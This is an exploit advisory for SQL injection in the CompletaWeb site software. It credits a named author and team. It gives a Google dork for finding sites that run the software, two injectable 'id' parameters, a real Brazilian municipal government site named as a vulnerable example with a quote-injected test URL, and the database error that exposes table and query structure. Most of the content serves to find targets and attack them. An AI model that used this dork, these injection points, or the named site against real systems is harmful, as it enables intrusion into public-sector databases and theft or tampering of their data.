################################################################### # Exploit Title : CompletaWeb Comunicação Virtual Brazil SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 04/05/2019 # Vendor Homepage : completa.website # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : intext:Desenvolvido por CompletaWeb Soluções Virtuais # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ################################################################### # Impact : *********** CompletaWeb Comunicação Virtual Brazil is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. ################################################################### # SQL Injection Exploit : ********************** /?pg=vereador&camara=&id=[SQL Injection] /index.php?pg=noticia&id=[SQL Injection] ################################################################### # Example Vulnerable Sites : ************************* Câmara de Vereadores de Câmara Aurora Brazil Government Municipality [+] camaraaurora.sc.gov.br/?pg=vereador&camara=&id=55%27 ################################################################### # Example SQL Database Error : **************************** 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 11 SQL: SELECT DataInicio, DataFim , Descricao FROM VereadorMesaDiretora INNER JOIN CargoMesaDiretora ON CargoMesaDiretora.CodCargoMesaDiretora = VereadorMesaDiretora.CodCargoMesaDiretora INNER JOIN MesaDiretora ON MesaDiretora.CodMesaDiretora = VereadorMesaDiretora.CodMesaDiretora INNER JOIN VereadorLegislatura ON VereadorLegislatura.CodVereadorLegislatura = VereadorMesaDiretora.CodVereadorLegislatura WHERE VereadorLegislatura.CodVereador = SQL: SELECT * FROM NoticiaFoto WHERE CodNoticia = SQL: SELECT * FROM Noticia WHERE CodNoticia <> ORDER BY Data DESC LIMIT 3 ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################